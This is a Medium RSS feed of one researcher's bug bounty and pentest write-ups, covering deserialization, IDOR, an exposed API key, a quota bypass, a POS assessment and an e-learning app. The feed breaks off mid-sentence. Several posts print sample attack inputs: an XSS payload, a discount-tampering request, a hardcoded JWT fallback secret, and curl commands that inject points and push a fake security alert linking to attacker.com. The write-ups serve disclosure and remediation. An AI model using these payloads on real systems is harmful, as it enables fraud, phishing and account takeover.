<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sklans on Medium]]></title>
        <description><![CDATA[Stories by Sklans on Medium]]></description>
        <link>https://medium.com/@salahezzat120?source=rss-8d1d62f60b6a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Apo9HCoHvu_1y3TMvG8IRg.png</url>
            <title>Stories by Sklans on Medium</title>
            <link>https://medium.com/@salahezzat120?source=rss-8d1d62f60b6a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 12:05:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@salahezzat120/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How a Shopping Filter Led to a $4,000 Bug Bounty]]></title>
            <link>https://medium.com/@salahezzat120/how-a-shopping-filter-led-to-a-4-000-bug-bounty-9b29a2a3c7e0?source=rss-8d1d62f60b6a------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b29a2a3c7e0</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Sklans]]></dc:creator>
            <pubDate>Sat, 28 Nov 2026 18:33:46 GMT</pubDate>
            <atom:updated>2026-11-28T18:33:46.275Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LO4YBzKU5npI799c_zN7Kw.png" /></figure><p>I followed a version match from a public advisory to a live application, then came back to verify the patch.</p><p>A shopping filter was my first clue. It looked like an ordinary part of a storefront, but the component behind it was running a release affected by a known deserialization vulnerability. I reported the deployment through YesWeHack. The finding was rated Critical at CVSS 10.0 and earned a $4,000 bounty.</p><p>The version match was the easy part. The work was figuring out what I could actually prove about this particular deployment.</p><p><em>The advisory gave me a lead. I confirmed the impact, then checked the fix and flagged cleanup separately.</em></p><h4>I narrowed the search to the component</h4><p>While reviewing an in-scope storefront, I identified the module responsible for filtering the product catalog. The application exposed version metadata for that module, so I had a specific component and release to compare with the public advisory.</p><p>The issue was already documented as CVE-2026–54159. I compared the module name and the deployed release with the advisory’s affected range, then checked the vendor’s fix release. The deployed version fell inside the affected range, so I recorded it as a lead. My report documents how I confirmed the issue on this deployment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9rcHaWhD_h2KmMLsmxgAdg.png" /></figure><p>A storefront can run an affected release without using the vulnerable feature. A version label also tells you little about any local changes made after installation. I needed evidence that held up on this deployment.</p><h4>I checked the feature as a shopper would</h4><p>I compared the catalog with and without a normal filter selected. The filtered page returned fewer products and reflected the selection. That gave me a small but useful piece of evidence. The storefront was actively processing the feature I’d matched to the advisory.</p><p>Then I reviewed the source for the deployed release. The filter module stored application state and rebuilt it on later reads. The security concern was that the application could reconstruct objects from data it shouldn’t treat as trusted.</p><p>A plain-data design makes the trust boundary easier to see. A catalog filter can accept a small set of fields, verify their types and allowed values, and build the application’s own state from those values. Rebuilding application objects directly from untrusted data gives the input more influence over the program’s behavior.</p><h4>I needed evidence of server-side impact</h4><p>The normal filtering comparison established that the feature was in use. The source review explained why the risky behavior was plausible. To support the severity in my report, I needed separate evidence of what actually happened on the server.</p><p>For the proof, I looked for a result I could distinguish from an ordinary page response. My validation produced a recognizable marker from server-side execution. That gave me an observable result to document alongside the affected component and the conditions of the test. The report confirmed remote code execution without a signed-in session.</p><p>I submitted the finding on August 1. During triage, the security team asked for the exact materials behind the test. I shared those privately through the report so they could verify the evidence on their side. On August 10, the program accepted the finding and awarded $4,000.</p><h4>The patch stopped the bug. Two test files were still there.</h4><p>The next day, the team told me they’d deployed a fix and asked me to verify it. I confirmed the component had been updated and checked the behavior I’d reported. The original result was no longer reproducible.</p><p>I also checked what the initial test had left behind. Two files from my validation were still present. I flagged them to the team for cleanup in the same retest update. On August 13, the program marked the report resolved.</p><p>That part changed what I write in a fix verification note. I give the team one answer about the vulnerability and a separate answer about any state the original test left behind. An upgrade can fix how an application handles future input while leaving existing files untouched.</p><h4>The notes I’d want on my next case</h4><ul><li><strong>Version evidence.</strong> Record the exact component you identified, where the version information came from, and how it compares with the advisory.</li><li><strong>Behavior evidence.</strong> Record one ordinary comparison that shows the feature is in use, then document the evidence that actually supports the reported impact.</li><li><strong>Retest evidence.</strong> Record what changed after the fix, what outcome you observed, and any cleanup you asked the team to handle.</li></ul><p>The $4,000 award was a milestone for me. The habit I’ll carry forward is keeping those pieces of evidence clear enough that the security team can see exactly what each one establishes.</p><h4>References</h4><ul><li><a href="https://github.com/PrestaShop/ps_facetedsearch/releases/tag/v4.0.4">Vendor’s patched release on GitHub</a></li><li><a href="https://cornucopia.owasp.org/taxonomy/asvs-4.0.3/05-validation-sanitization-and-encoding/05-deserialization-prevention">OWASP guidance on deserialization prevention</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9b29a2a3c7e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How an Exposed API Key Led Me to a Critical Webservice Finding]]></title>
            <link>https://medium.com/@salahezzat120/how-an-exposed-api-key-led-me-to-a-critical-webservice-finding-0820a0dfc329?source=rss-8d1d62f60b6a------2</link>
            <guid isPermaLink="false">https://medium.com/p/0820a0dfc329</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sklans]]></dc:creator>
            <pubDate>Fri, 27 Nov 2026 00:11:00 GMT</pubDate>
            <atom:updated>2026-11-27T00:11:00.549Z</atom:updated>
            <content:encoded><![CDATA[<p><em>An anonymized bug bounty case study about credential exposure, API permissions, and verifying a fix.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ne1vbE8tLZWOls5FQr_CBw.jpeg" /></figure><p>An API key exposed in a publicly accessible file gave access to a production webservice with broad permissions. I reported the issue through YesWeHack, and the report was resolved with a <strong>CVSS score of 9.8</strong>.</p><p>The interesting part of this investigation was the chain of questions. Where did the key come from? What access did it grant? And after the team deployed a fix, could it still be used?</p><p>I have anonymized the organization, endpoint, filename, and credentials in this article. The examples use fictional values and illustrate the testing logic.</p><h3>Finding the exposed key</h3><p>During an authorized bug bounty assessment, I identified a file that could be retrieved without signing in. The file contained an API key.</p><p>Finding a key in a file is a lead. Its impact depends on whether it is valid, where it can be used, and what its permissions allow. My next step was to understand the service associated with it and determine the access it granted.</p><p>The affected application exposed a webservice API. The key was used as a credential for that API. In my report, I explained to the security team where the key could be found and how it was used to authenticate.</p><h3>Testing the boundary</h3><p>I used the key to check the webservice’s available access. The original report records that it could reach administrative and customer-related resources. It also records one write test against a test account, where a change was accepted and persisted.</p><p>The service advertised broader operations, including delete access. I did not exercise delete. The report distinguishes the permitted operations from the single write test I performed.</p><p>That distinction matters when describing impact. A response that lists permissions tells the receiving team what the credential appears to allow. A controlled test can establish whether a specific operation actually works.</p><h3>Simplified example</h3><p>The following pseudocode uses fictional values. It shows the validation sequence rather than a production endpoint or real credential.</p><pre>1. Retrieve a test file without a signed-in session</pre><pre>   GET /public/example-export<br>   → file contains TEST_API_KEY</pre><pre>2. Use the test key against a lab API</pre><pre>   GET /api/test-resource<br>   Authorization: &lt;TEST_API_KEY&gt;<br>   → access granted</pre><pre>3. Check a permitted write using a test account</pre><pre>   Update a field on the test account<br>   → response accepted<br>   → read back the field to confirm it persisted</pre><p>For a real report, the evidence needs to show the authorization boundary and a reproducible result while keeping the test within the program’s rules. I shared the actual details privately with the program.</p><h3>Explaining the risk</h3><p>An exposed credential is more serious when it grants broad access. In this case, the report described a key with access to sensitive resources and an API that advertised read and write operations across multiple resources.</p><p>I asked the team to disable the affected webservice access, review other keys, and rotate affected credentials. I also recommended reviewing access to the exposed file and any other possible exposure paths.</p><h3>Working with the security team</h3><p>During triage, the team asked how I had obtained the key. I pointed them to the publicly accessible file and explained how to locate it in the file’s contents.</p><p>Later, the team asked me to verify the deployed fix. My follow-up checks recorded that the webservice returned a disabled-service response and that the alternative request paths I tested were also blocked. I confirmed that the original issue was no longer reproducible in those checks.</p><p>The report was marked <strong>Resolved</strong> in my YesWeHack export. The status and score are from that export; the technical narrative comes from the report and its triage discussion.</p><h3>What developers can check</h3><ul><li>Keep exports and backups containing secrets out of public web directories.</li><li>Treat API keys as credentials, store them securely, and rotate them after exposure.</li><li>Grant each service account only the permissions it needs.</li><li>Disable unused APIs and review access from outside the trusted network.</li><li>Add a repeatable check for exposed credentials and public files to release and incident-response workflows.</li></ul><h3>What I learned</h3><p>The clearest report connects the exposed value to a concrete access boundary. For this case, that meant documenting the file, the API credential, the permissions I observed, and the controlled write test.</p><p>The follow-up was also part of the work. Verifying the service after the fix let me give the team a direct answer about the original behavior.</p><p>I keep the organization and operational details private in this write-up. I’m open to remote application security and web/API penetration testing roles.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0820a0dfc329" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Found an Unauthenticated IDOR in a Pickup-Point Widget]]></title>
            <link>https://medium.com/@salahezzat120/how-i-found-an-unauthenticated-idor-in-a-pickup-point-widget-a24f8cf8de2d?source=rss-8d1d62f60b6a------2</link>
            <guid isPermaLink="false">https://medium.com/p/a24f8cf8de2d</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sklans]]></dc:creator>
            <pubDate>Thu, 26 Nov 2026 23:41:34 GMT</pubDate>
            <atom:updated>2026-11-26T23:54:27.439Z</atom:updated>
            <content:encoded><![CDATA[<p><em>A source-led bug bounty case study about object identifiers, mass assignment, and testing safely.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SfB_BwXBdJ1r-sSXnXSw5g.png" /></figure><p><em>My YesWeHack reward card for the accepted report.</em></p><p>One value in a request changed where the application wrote its data. That was the clue behind an IDOR I reported through YesWeHack, rated <strong>High with a CVSS score of 8.2</strong>.</p><p>The feature was a pickup-point widget in an e-commerce checkout. During a source review, I noticed that it accepted a JSON object describing the selected pickup point. The application then used values from that object to populate a shared database record.</p><p>I wanted to understand what happened when the request contained a field the browser should not need to control: the database record’s own identifier.</p><p>The story below is based on my original report. I have anonymized the organization, endpoint, parameter names, and test identifiers. The examples illustrate the logic without reproducing production requests.</p><h3>Starting with the source</h3><p>I was reviewing a delivery integration when the pickup-point selection action caught my attention. The widget received an object containing location information, such as a business name and address. Source review showed that the submitted object was used to populate a model.</p><p>That led me to two questions:</p><ul><li>Which fields can a client actually submit?</li><li>Does the server decide which record to update, or can the request choose it?</li></ul><p>Guest checkout made the first question interesting. A customer might legitimately select a pickup point without having an account, but a public request should not be able to choose an internal database row to overwrite.</p><h3>Establishing a baseline</h3><p>I started with a fresh, clearly marked test pickup-point reference and synthetic field values. I sent the request without a session or authentication token. The response indicated that the application had created a record and returned an internal identifier.</p><p>I repeated that baseline with a second fresh test reference. The application created another record. At this point I knew what a normal creation response looked like, and I had two test rows for the next step.</p><p>This was not a finding by itself. A guest checkout feature may need to accept some pickup-point data. The question was whether the request could direct a write to a different existing record.</p><h3>Testing the identifier</h3><p>I sent another request with a new pickup-point reference, but this time I included the internal identifier of the first test row. If the server selected the record solely from the new reference, I would expect a new row. Instead, the response showed the existing test row’s identifier alongside the new test values.</p><p>I repeated the same controlled comparison using the second test row. The result was the same in both tests: the identifier I supplied in the object selected the row that was updated.</p><p>I also reproduced the creation behavior manually in Burp Suite Repeater. That gave me a separate way to check that the request behavior was not an artifact of a script.</p><h3>An illustrative proof of concept</h3><p>The following is <strong>pseudocode for a controlled lab</strong>. Field names and values are invented to explain the comparison. They are not the original endpoint or production payload.</p><pre># Baseline: create a test record<br>submit pickup_point = {<br>  public_reference: &quot;TEST-A&quot;,<br>  label: &quot;Original test location&quot;<br>}</pre><pre>response: record_id = 101, label = &quot;Original test location&quot;</pre><pre># Comparison: use a new reference with the first test record&#39;s ID<br>submit pickup_point = {<br>  public_reference: &quot;TEST-B&quot;,<br>  record_id: 101,<br>  label: &quot;Updated test location&quot;<br>}</pre><pre>response: record_id = 101, label = &quot;Updated test location&quot;</pre><p>The comparison is the important part. The public reference changed, but the returned internal record ID remained the same and the displayed values changed. In my report, I included the original request and response evidence for the program’s security team.</p><h3>A separate read-back test</h3><p>I then referenced one of my own test rows while omitting its descriptive fields. The response returned the values previously stored in that row. That showed the same action could return stored pickup-point information without authentication.</p><p>The information demonstrated in this read-back was <strong>pickup-point business information</strong>, including the location’s name and address. I did not demonstrate exposure of an individual customer’s personal data in this test.</p><h3>What I reported as impact</h3><p>The strongest demonstrated result was an unauthenticated write to two existing, self-created rows in a shared pickup-point table. The test also showed read-back of stored values from a self-created row.</p><p>Because the feature feeds pickup-point selection during checkout, changing shared location data could affect the information presented in that workflow. My test did not establish how a change would affect carrier-facing systems or shipping labels, so I left that as a question for the team. I did not run a bulk overwrite or test service availability.</p><p>My report also documented the harmless test records left behind and asked the program to clean them up. Reproducibility includes telling the receiving team what changed during a test.</p><h3>Why this happened</h3><p>The issue combined two related weaknesses:</p><ul><li><strong>Mass assignment:</strong> the application accepted fields from a client-supplied object when populating a model. A field representing an internal identifier was included in that trust boundary.</li><li><strong>IDOR / missing authorization:</strong> the supplied identifier influenced which existing record received the update, without an appropriate check on that record.</li></ul><p>The server needed to determine the update target from trusted context and handle client-supplied fields according to their intended purpose.</p><h3>How I would fix and test it</h3><ol><li><strong>Separate the request model from the database model.</strong> Define exactly which pickup-point fields the client may supply. Reject or ignore internal database identifiers in the public request.</li><li><strong>Select records on the server.</strong> Derive the target from trusted, appropriately scoped application context, then enforce the authorization rules for that operation.</li><li><strong>Validate location data.</strong> Verify submitted pickup-point details against a trusted source when the integration requires authoritative carrier data.</li><li><strong>Add regression tests.</strong> In a test environment, create two synthetic records. Submit an update containing the other record’s ID and confirm it cannot change that record. Check which fields a guest response is allowed to return.</li><li><strong>Review similar actions.</strong> Look for other endpoints that populate database models from client-supplied objects, including routes used by guests.</li></ol><h3>What I took from this finding</h3><p>The most useful step was the controlled comparison. First I recorded what happened when the application created a new row. Then I changed the submitted reference while supplying the ID of a row I had created for the test. Repeating that comparison gave the security team a clear sequence to investigate.</p><p>As a developer, I have worked with authentication and role-based access controls. Research like this makes me ask a more precise question during implementation: <strong>which values can a caller control, and which of those values can select or change a stored object?</strong></p><p>I shared the technical evidence privately with the program. The report export records the finding as accepted. The organization and operational details are withheld in this article.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a24f8cf8de2d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[# How I Found a Batch API Quota Bypass in an Email Platform]]></title>
            <link>https://medium.com/@salahezzat120/how-i-found-a-batch-api-quota-bypass-in-an-email-platform-43312fe08d9f?source=rss-8d1d62f60b6a------2</link>
            <guid isPermaLink="false">https://medium.com/p/43312fe08d9f</guid>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Sklans]]></dc:creator>
            <pubDate>Thu, 02 Jul 2026 19:31:56 GMT</pubDate>
            <atom:updated>2026-07-02T19:31:56.291Z</atom:updated>
            <content:encoded><![CDATA[<p># How I Found a Batch API Quota Bypass in an Email Platform</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*niLMPcK_qhp_JT_fBtZx9Q.png" /></figure><p>&gt; Public-safe version. Do not publish until the vendor confirms the issue is fixed or gives written disclosure approval.</p><p>## TL;DR</p><p>While testing an authorized account on an email API platform, I found that a batch-send endpoint did not enforce the same daily quota checks as the normal single-send endpoint.</p><p>The account was supposed to be limited to a small daily send quota, but batch sends continued to work after the normal endpoint started returning quota errors.</p><p>This was a classic API security issue: two endpoints performed similar business actions, but only one enforced the full set of business rules.</p><p>## What I Tested</p><p>The platform had a documented endpoint for sending one email at a time and a separate batch-style endpoint for sending multiple emails in one request.</p><p>The documented endpoint correctly enforced the daily quota. After the account reached the daily limit, it returned a quota error.</p><p>The batch endpoint behaved differently. It continued accepting and delivering messages even after the same account had reached its daily limit.</p><p>## Impact</p><p>If abused, this type of flaw can allow:</p><p>- Free-tier quota bypass<br>- Higher-than-allowed email volume<br>- Spam or phishing abuse<br>- Increased infrastructure cost<br>- Misleading usage counters in the dashboard<br>- Weak enforcement if quota is tracked inconsistently across endpoints or API keys</p><p>The important point is not that the endpoint existed. Batch APIs are normal. The issue was that equivalent quota and abuse controls were not consistently applied.</p><p>## Root Cause</p><p>The likely root cause was inconsistent business-logic enforcement.</p><p>The single-send endpoint enforced daily quota checks, while the batch-send endpoint appeared to skip or use different quota logic.</p><p>This is a common API bug pattern:</p><p>1. Product ships a normal endpoint.<br>2. Security/business rules are added there.<br>3. A second endpoint is later added for batch, mobile, internal, or performance use.<br>4. The second endpoint performs the same sensitive action but misses one or more controls.</p><p>## What Made This Interesting</p><p>The dashboard still showed low usage while the account had sent far more messages than expected.</p><p>That means the issue was not only enforcement. Usage accounting also appeared inconsistent.</p><p>Security controls are only reliable when all paths that perform the same action share the same enforcement and accounting logic.</p><p>## Lessons Learned</p><p>1. Always compare similar endpoints.<br>2. Batch endpoints deserve special attention.<br>3. Business-logic bugs often have bigger impact than simple validation bugs.<br>4. Usage counters and enforcement logic should come from the same source of truth.<br>5. Testing should be controlled and should use only owned accounts and test data.</p><p>## Responsible Disclosure</p><p>I reported this issue privately to the vendor with supporting evidence and stopped testing after verification.</p><p>I am intentionally not publishing endpoint names, request payloads, screenshots with vendor branding, or exact reproduction steps until the vendor confirms remediation or gives written permission to disclose.</p><p>## Suggested Fix</p><p>The fix is conceptually simple:</p><p>- Apply the same quota checks to every endpoint that sends email.<br>- Count every message and recipient from batch sends against the account/team quota.<br>- Rate-limit batch sends and API-key creation.<br>- Ensure dashboard counters reflect actual usage across all sending paths.<br>- Review related undocumented or internal endpoints for equivalent authorization, quota, and rate-limit enforcement.</p><p>## Final Note</p><p>This bug was a good reminder that API security is not only about authentication. Sometimes the most important question is:</p><p>&gt; Does every path that performs this action enforce the same business rules?</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43312fe08d9f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Comprehensive Security Assessment Report]]></title>
            <link>https://medium.com/@salahezzat120/comprehensive-security-assessment-report-nzmly-market-pos-face01e11854?source=rss-8d1d62f60b6a------2</link>
            <guid isPermaLink="false">https://medium.com/p/face01e11854</guid>
            <dc:creator><![CDATA[Sklans]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 02:16:02 GMT</pubDate>
            <atom:updated>2026-02-21T12:10:22.179Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FRG40gwmwLEKzjjK3Efslg.png" /></figure><h3>Market POS</h3><p><strong>Date:</strong> February 20, 2026<br> <strong>Target System:</strong> Market (Local Instance)<br> <strong>Assessment Type:</strong> Grey Box Penetration Test<br> <strong>Total Findings:</strong> 7 (5 Critical, 2 High)<br> <strong>Overall Risk Rating:</strong> <strong>Critical — System Compromised</strong></p><h3>1. Executive Summary</h3><p>A comprehensive security assessment of the Market POS platform was conducted to evaluate the security posture of its multi-tenant architecture.</p><p>The assessment identified <strong>critical vulnerabilities across Authentication, Authorization, Business Logic, and Input Validation layers</strong>. These issues collectively allow full compromise of the platform.</p><p>The most severe findings enable an attacker to:</p><ul><li>Extract confidential sales and inventory data across all tenants</li><li>Forge administrative authentication tokens</li><li>Take over any account (including organization owners)</li><li>Manipulate financial transactions to steal inventory</li><li>Generate fraudulent refunds without limitation</li></ul><p>The combination of these vulnerabilities results in <strong>complete loss of confidentiality, integrity, and financial control</strong> within the system.</p><p>Immediate remediation is strongly recommended.</p><h3>2. Methodology</h3><p>Testing was conducted using industry-standard penetration testing practices aligned with <strong>OWASP Testing Methodology</strong>.</p><p>The assessment focused on:</p><ul><li><strong>Insecure Direct Object References (IDOR)</strong> — Tenant data isolation testing</li><li><strong>Broken Authentication</strong> — JWT implementation and secret management review</li><li><strong>Business Logic Flaws</strong> — Checkout flow, refund handling, and role escalation</li><li><strong>Injection Attacks</strong> — Cross-Site Scripting (XSS) and input validation weaknesses</li><li><strong>Authorization Controls</strong> — Privilege boundaries and role enforcement</li></ul><p>Testing was performed under a grey-box model with limited internal knowledge of system architecture.</p><h3>3. Detailed Technical Findings</h3><h3>[CRITICAL] 3.1 Cross-Tenant Data Exposure (IDOR)</h3><p><strong>Endpoint:</strong> GET /api/reports/top-products</p><h3>Vulnerability</h3><p>The reporting endpoint fails to enforce filtering by the authenticated user’s organization_id.</p><h3>Exploit</h3><p>Any authenticated user can retrieve sales and product performance data for all organizations in the database.</p><h3>Impact</h3><ul><li>Exposure of competitor sales volumes</li><li>Disclosure of internal Product IDs</li><li>Complete loss of tenant data confidentiality</li></ul><h3>[CRITICAL] 3.2 Arbitrary Discount Injection (Business Logic Flaw)</h3><p><strong>Endpoint:</strong> POST /api/sales/checkout</p><h3>Vulnerability</h3><p>The API trusts the client-provided discount_total value without server-side recalculation.</p><h3>Exploit</h3><p>An intercepted request can be modified as follows:</p><pre>{<br>  &quot;total&quot;: 10000,<br>  &quot;discount_total&quot;: 9999,<br>  &quot;payment&quot;: 1<br>}</pre><p>The system processes this as a valid sale.</p><h3>Impact</h3><ul><li>High-value inventory theft</li><li>Severe financial loss</li><li>Manipulated sales reporting</li></ul><h3>[CRITICAL] 3.3 Account Takeover via Weak JWT Secret</h3><h3>Vulnerability</h3><p>If environment variables are missing, the authentication middleware defaults to a hardcoded fallback secret:</p><pre>fallback_secret_do_not_use_in_prod</pre><h3>Exploit</h3><p>Using exposed User IDs from Finding 3.1, an attacker can forge a valid JWT and authenticate as any user, including organization owners.</p><h3>Impact</h3><ul><li>Full account takeover</li><li>Cross-tenant administrative access</li><li>Complete platform compromise</li></ul><h3>[CRITICAL] 3.4 Infinite Refund Exploitation</h3><p><strong>Endpoint:</strong> POST /api/returns</p><h3>Vulnerability</h3><p>Refund amounts are not validated against the original transaction value.</p><h3>Exploit</h3><p>An attacker can request a refund of $500 for a $50 purchase.</p><h3>Impact</h3><ul><li>Unlimited financial fraud</li><li>Artificial revenue inflation</li><li>Depletion of store funds</li></ul><h3>[CRITICAL] 3.5 Stored Cross-Site Scripting (XSS)</h3><h3>Vulnerability</h3><p>Product names and descriptions are rendered without sanitization. Additionally, a suspicious script was identified in MainLayout.tsx.</p><h3>Exploit</h3><p>Injection of payloads such as:</p><pre>&lt;img src=x onerror=alert(1)&gt;</pre><p>This executes in the browser of any user viewing the product list.</p><h3>Impact</h3><ul><li>Session hijacking</li><li>Credential theft</li><li>Forced administrative actions</li></ul><h3>[HIGH] 3.6 Cross-Organization Inventory Manipulation</h3><p><strong>Endpoint:</strong> POST /api/inventory/quick-adjust</p><h3>Vulnerability</h3><p>The endpoint relies on a client-supplied x-store-id header without verifying tenant ownership.</p><h3>Exploit</h3><p>An attacker can guess or enumerate Store IDs and modify inventory for another organization.</p><h3>Impact</h3><ul><li>Inventory deletion or corruption</li><li>Cross-tenant denial of service</li><li>Data integrity compromise</li></ul><h3>[HIGH] 3.7 Vertical Privilege Escalation</h3><h3>Vulnerability</h3><p>Users with “User Manage” permission can create new roles with privileges exceeding their own.</p><h3>Exploit</h3><p>A Manager-level user can create a “Super Admin” role with unrestricted permissions and assign it to themselves.</p><h3>Impact</h3><ul><li>Unauthorized administrative access</li><li>Complete bypass of role hierarchy</li><li>Privilege model collapse</li></ul><h3>4. Risk Assessment</h3><p>The vulnerabilities identified are systemic and architectural in nature.</p><p>The combination of:</p><ul><li>Cross-tenant data exposure</li><li>Weak authentication controls</li><li>Business logic flaws</li><li>Privilege escalation pathways</li></ul><p>results in <strong>total compromise of confidentiality, integrity, and financial trust</strong> within the system.</p><p>The platform should be considered <strong>high risk for production use until remediated</strong>.</p><h3>5. Recommendations &amp; Remediation Plan</h3><h3>1. Enforce Strict Tenant Isolation</h3><ul><li>Implement database-level Row-Level Security (RLS)</li><li>Automatically inject organization_id filters into all queries</li></ul><h3>2. Recalculate Financial Transactions Server-Side</h3><ul><li>Ignore client-supplied totals</li><li>Compute price, discount, and tax entirely on the backend</li></ul><h3>3. Secure Secret Management</h3><ul><li>Remove all hardcoded fallback secrets</li><li>Fail securely if JWT_SECRET is undefined</li><li>Rotate all secrets immediately</li></ul><h3>4. Input Sanitization &amp; Output Encoding</h3><ul><li>Sanitize inputs server-side</li><li>Escape rendered output</li><li>Use trusted libraries for XSS mitigation</li></ul><h3>5. Harden Authorization Controls</h3><ul><li>Prevent role creation with elevated privileges</li><li>Enforce strict permission inheritance</li><li>Implement centralized authorization middleware</li></ul><h3>6. Conclusion</h3><p>The NZMLY Market POS system currently contains critical vulnerabilities that allow complete system compromise.</p><p>Immediate remediation, security review, and architectural hardening are required before the system can be considered secure for production deployment.</p><p><strong>Assessor:</strong> Pentester<br> <strong>Assessment Status:</strong> Remediation Required Immediately<br> <strong>Risk Level:</strong> Critical</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=face01e11854" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[# FIS Learning Platform — Security Write-Up]]></title>
            <link>https://medium.com/@salahezzat120/fis-learning-platform-security-write-up-dd7c9ee7e1ab?source=rss-8d1d62f60b6a------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd7c9ee7e1ab</guid>
            <dc:creator><![CDATA[Sklans]]></dc:creator>
            <pubDate>Thu, 19 Feb 2026 18:34:05 GMT</pubDate>
            <atom:updated>2026-02-19T18:34:05.267Z</atom:updated>
            <content:encoded><![CDATA[<p># FIS Learning Platform — Security Write-Up</p><p><strong>### How I Found 7 Vulnerabilities in a Flutter E-Learning App Using Only a Student Account</strong></p><p><strong>**Date:**</strong> February 2026</p><p><strong>**Target:**</strong> FIS Learning Platform (internal review)</p><p><strong>**Tools:**</strong> Node.js, curl, Supabase REST API</p><p><strong>**Time:**</strong> ~4 hours</p><p>— -</p><p><strong>## Background</strong></p><p>I was tasked with reviewing the security of the FIS Learning Platform — a Flutter-based e-learning app with a Node.js/Express backend hosted on a VPS, using Supabase as the database and Firebase for push notifications.</p><p>The goal: <strong>**what can a regular student account actually access?**</strong></p><p>— -</p><p><strong>## Reconnaissance</strong></p><p>I started by reading the source code directly (white-box review). The backend is a standard Express app with JWT authentication via Supabase.</p><p>First thing I looked for: <strong>**routes without `requireAdmin` middleware**</strong>.</p><p>```bash</p><p>grep -r “router\.\(get\|post\|put\|delete\)” src/routes/ | grep -v “requireAdmin\|requireRole”</p><p>```</p><p>This immediately flagged two critical endpoints.</p><p>— -</p><p><strong>## Finding 1 — Unprotected Points Injection (Critical)</strong></p><p>In `src/routes/gamification.routes.js` at line 226:</p><p>```javascript</p><p>// POST /gamification/points</p><p>// Manually add/deduct points (admin only — would need admin middleware)</p><p>router.post(‘/points’, authenticate, [</p><p>body(‘userId’).isUUID(),</p><p>body(‘transactionType’).isIn([…]),</p><p>body(‘points’).isInt(),</p><p>], gamificationController.addPoints);</p><p>```</p><p>The comment says <strong>**”would need admin middleware”**</strong> — but it was never added. Only `authenticate` is present.</p><p><strong>**Test:**</strong></p><p>```bash</p><p>curl -X POST <a href="http://server/api/v1/gamification/points">http://server/api/v1/gamification/points</a> \</p><p>-H “Authorization: Bearer &lt;student_token&gt;” \</p><p>-d ‘{“userId”:”&lt;any_uuid&gt;”,”transactionType”:”manual_adjustment”,”points”:99999}’</p><p>```</p><p><strong>**Result:**</strong> `200 OK` — 99,999 points added. No admin required.</p><p>This means any student can:</p><p>- Give themselves unlimited points → rank #1 on leaderboard</p><p>- Deduct points from any competitor</p><p>— -</p><p><strong>## Finding 2 — Notification Injection (Critical)</strong></p><p>In `src/routes/notification.routes.js` at line 325:</p><p>```javascript</p><p>// POST /notifications — Create a notification (admin or self)</p><p>router.post(‘/’, writeLimiter, createNotificationValidators, notificationController.createNotification);</p><p>```</p><p>The route accepts a `user_id` field but <strong>**never checks if it matches the authenticated user**</strong>. So any student can create a notification for any other user.</p><p><strong>**Test:**</strong></p><p>```bash</p><p>curl -X POST <a href="http://server/api/v1/notifications">http://server/api/v1/notifications</a> \</p><p>-H “Authorization: Bearer &lt;student_token&gt;” \</p><p>-d ‘{</p><p>“type”: “system_announcement”,</p><p>“title”: “Security Alert”,</p><p>“message”: “Your account was compromised. Tap to verify.”,</p><p>“priority”: “urgent”,</p><p>“user_id”: “&lt;victim_uuid&gt;”,</p><p>“action_url”: “https://attacker.com&quot;</p><p>}’</p><p>```</p><p><strong>**Result:**</strong> `201 Created` — the victim sees a fake urgent alert in their Flutter app.</p><p>— -</p><p><strong>## Finding 3 — FCM Token Leakage (Critical)</strong></p><p>The `GET /profile` endpoint returns the full user object including `push_token`:</p><p>```json</p><p>{</p><p>“user”: {</p><p>“email”: “user@gmail.com”,</p><p>“push_token”: “ekzpbvgRQqCcT3pEyKS0WQ:APA91bGUOhh9…”,</p><p>…</p><p>}</p><p>}</p><p>```</p><p>With a Firebase service account, this token can be used to send <strong>**real push notifications directly to the device**</strong> — bypassing the app’s backend entirely.</p><p>— -</p><p><strong>## Finding 4 — Mass User Enumeration (High)</strong></p><p>`GET /gamification/leaderboard` returns all user 